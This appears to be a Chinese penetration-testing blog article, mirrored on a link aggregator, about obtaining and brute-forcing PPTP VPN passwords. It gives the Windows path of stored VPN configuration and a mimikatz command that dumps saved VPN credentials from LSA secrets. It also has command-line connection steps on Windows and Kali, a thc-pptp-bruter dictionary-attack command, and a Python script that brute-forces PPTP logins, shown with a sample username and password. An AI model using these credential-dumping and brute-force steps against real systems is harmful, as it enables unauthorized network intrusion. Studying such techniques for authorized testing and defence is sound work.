渗透技巧——PPTP口令的获取与爆破
source link: https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-PPTP%E5%8F%A3%E4%BB%A4%E7%9A%84%E8%8E%B7%E5%8F%96%E4%B8%8E%E7%88%86%E7%A0%B4/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
0x00 前言
PPTP(即点对点隧道协议)可以使远程用户通过拨入ISP访问企业内网。
在渗透测试中,如果获得了用户的PPTP口令,就能远程拨入内网,做进一步渗透。
本文将要介绍命令行下导出PPTP配置信息和口令的方法,开源PPTP口令爆破的脚本
0x01 简介
本文将要介绍以下内容:
- Windows系统命令行下PPTP配置信息和口令的获取
- Windows系统命令行开启和关闭VPN连接
- Windows系统连接PPTP的方法和细节
- Kali系统连接PPTP的方法和细节
- PPTP口令爆破的脚本细节
0x02 Windows系统命令行下PPTP配置信息和口令的获取
1、获取PPTP配置信息
Windows系统拨号和宽带连接的配置信息存储在固定位置,路径如下:
%APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk
查看该文件即可获得PPTP连接的配置信息,包括服务器IP,不包含连接用户名和口令
VPN连接的名称为VPN Connection
,如下图
PhoneNumber表示连接的服务器IP,如下图
2、获得内网IP
ipconfig
获得内网IP,如下图
3、获得PPTP口令
使用工具mimiaktz,命令如下:
mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
获得连接用户名和口令,如下图
4、命令行下连接VPN
rasdial "VPN Connection" zhaodg oZ7iFk25
5、命令行关闭VPN连接
rasphone -h "VPN Connection"
0x03 Windows系统PPTP连接的方法和细节
4.选择创建新连接
5.填入服务器IP,选中稍后连接
6.填入用户名口令
7.点击连接后,选择跳过
接下来修改VPN属性,Security
->Type of VPN
,选择Point to Point Tunneling Protocol(PPTP)
注:
创建成功后,指定Point to Point Tunneling Protocol(PPTP)
可缩短连接等待的时间
0x04 Kali系统PPTP连接的方法和细节
方法1:通过界面
apt-get install network-manager-pptp network-manager-pptp-gnome
Settings
->Network
->VPN
Identity
->Advanced...
去掉PAP,CHAP,EAP
选择Use Point-to-Point encryption(MPPE)
注:
如果无法连接,修改文件/etc/NetworkManager/NetworkManager.conf
managed=false
修改成managed=true
方法2:通过pptpsetup
pptpsetup --create vpn --server 5x.xxx.xxx.xx2 --username zhaodg --password oZ7iFk25 --encrypt --start
远程IP为192.168.0.1,如下图
2.修改路由表
将默认路由表修改为远程IP
route del default
route add default gw 192.168.0.1
0x05 PPTP口令爆破
PPTP服务器默认开放1723端口
1、PPTP brute forcer
https://github.com/BlackArch/thc-pptp-bruter
kali默认支持
通过字典爆破的命令如下:
cat wordlist | thc-pptp-bruter -u zhaodg <IP>
注:
PPTP搭建于centos
2、编写python脚本实现
有些设备的PPTP无法使用PPTP brute forcer进行爆破
于是尝试使用python调用pptpsetup实现
通过os.popen执行命令,测试代码如下:
import os
def test_vpn(ip,name,password):
command = 'pptpsetup --create testvpn --server '+ip+' --username '+name+' --password '+password+' --encrypt --start'
print command
vpn_status = os.popen(command).read()
print vpn_status
if __name__ == '__main__':
test_vpn('5x.xxx.xxx.xx2','zhaodg','oZ7iFk25')
测试过程中出现bug:
如果登录成功,进程pptp不会退出,导致脚本阻塞,无法获得回显
只有结束进程pptp后,才能获得回显
所以这里需要使用子进程的方式实现:
子进程执行pptpsetup命令,父进程不等待
随之产生新的问题:
如何获得子进程的结果,判断是否登录成功
这里选择一个简单直接的方法:
等待10秒,然后执行ifconfig,如果登录成功,会产生新的网卡设备ppp0
,否则,当前用户名口令错误
登录成功后,选择清理进程,执行命令:
pkill pptp
清除连接信息:
pptpsetup --delete testvpn
完整代码可参考:
https://github.com/3gstudent/Homework-of-Python/blob/master/pptp_password_hack.py
代码会读取文件wordlist,获得口令字典,对指定IP尝试连接,连接成功后记录口令,清除进程和连接
测试如下图
0x06 小结
本文介绍了命令行下导出PPTP配置信息和口令的方法,通过命令行能够实现开启和关闭VPN连接。
实例演示了Windows和Kali系统连接PPTP的方法,最后开源了调用pptpsetup实现PPTP口令爆破的脚本,分析脚本实现细节。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK